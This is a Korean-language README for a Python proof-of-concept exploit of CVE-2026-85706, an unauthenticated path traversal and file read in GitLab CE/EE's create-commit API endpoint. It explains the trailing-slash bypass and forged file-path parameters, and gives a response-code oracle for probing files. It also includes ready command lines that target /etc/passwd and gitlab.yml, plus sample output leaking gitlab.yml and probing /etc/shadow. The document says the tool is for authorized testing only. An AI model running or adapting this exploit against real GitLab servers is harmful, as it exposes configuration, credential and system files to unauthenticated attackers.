
Python PoC로, create-commit 엔드포인트를 통해 GitLab CE/EE에서 발생하는 인증되지 않은 경로 탐색 및 임의 파일 읽기 취약점인 CVE-2026-85706을 익스플로잇하며, 파일 읽기 오라클을 포함합니다.
GitLab CE 및 EE에서의 인증되지 않은 경로 탐색 / 임의 파일 읽기. CVSS 10.0. 로컬 랩의 자체 관리형 19.3.1 인스턴스에서 검증됨.
GitLab CE/EE:
전제 조건: 인스턴스에 최소 하나의 공개 프로젝트가 있어야 함. 실제 프로젝트 id면 무엇이든 작동함. 계정이나 토큰이 필요하지 않음.
create-commit 엔드포인트 POST /api/v4/projects/:id/repository/commits는
대용량 파일 본문을 허용하므로, Workhorse가 요청 본문을 디스크에 버퍼링하고
Rails가 다시 읽을 수 있도록 file.path / file.size 메타데이터를 주입함.
네 가지 실수가 맞물림:
require_gitlab_workhorse!만 검사함. 실제
authenticate!는 파일 읽기 이후에 실행되는 authorize_push_to_branch!
뒤에 위치함.file_params_from_body_upload는 와 를 요청
파라미터에서 그대로 가져오므로, 가 제공한 임의의
절대 경로를 따라감.file.pathfile.sizeFile.read(file_path).../repository/commits\z와
일치함. 후행 슬래시를 추가하면 해당 라우트를 놓치고 서명된 리버스
프록시로 넘어가며, 이 프록시는 유효한 JWT와 함께 원시 본문을 전달함.
Workhorse 검사는 통과하고, Grape가 슬래시를 정규화하며, 위조된
파라미터가 살아남음.Content-Type: application/x-www-form-urlencoded인 경우 파일 내용이
Rack::Utils.parse_nested_query에 의해 파싱됨. 잘못된 % 시퀀스는
ArgumentError: invalid %-encoding (<component>)를 발생시키고 400
응답이 해당 컴포넌트를 그대로 반사함.읽기는 git 사용자로 실행됨. 파일에 잘못된 % 시퀀스가 포함된 경우에만
내용이 반환됨. 그렇지 않으면 깨끗한 존재 여부 및 읽기 가능성 오라클을
얻을 수 있음:
| 응답 | 의미 |
|---|---|
400 local file not present | 파일이 존재하지 않음 |
500 | 존재하지만 git이 읽을 수 없음 |
401 | 존재하고 읽을 수 있지만 잘못된 %가 없어 아무것도 반사되지 않음 |
400 invalid %-encoding (...) | 읽을 수 있고 컴포넌트가 반사됨 |
기본 omnibus 설치에서 안정적으로 반사되는 파일: gitlab.yml (헤더
주석이 초반에 95%에 걸림), CI 작업 로그 및 아티팩트, 업로드된 첨부
파일, 그리고 외부 데이터베이스를 사용하는 배포의 database.yml.
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
의존성 없음, 표준 라이브러리만 사용.
docker의 gitlab-ce 19.3.1 대상, 자격 증명 없음:
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
동일 실행에서의 오라클 점검:
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
승인된 보안 테스트 및 연구 목적으로만 사용. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 사용하지 마십시오.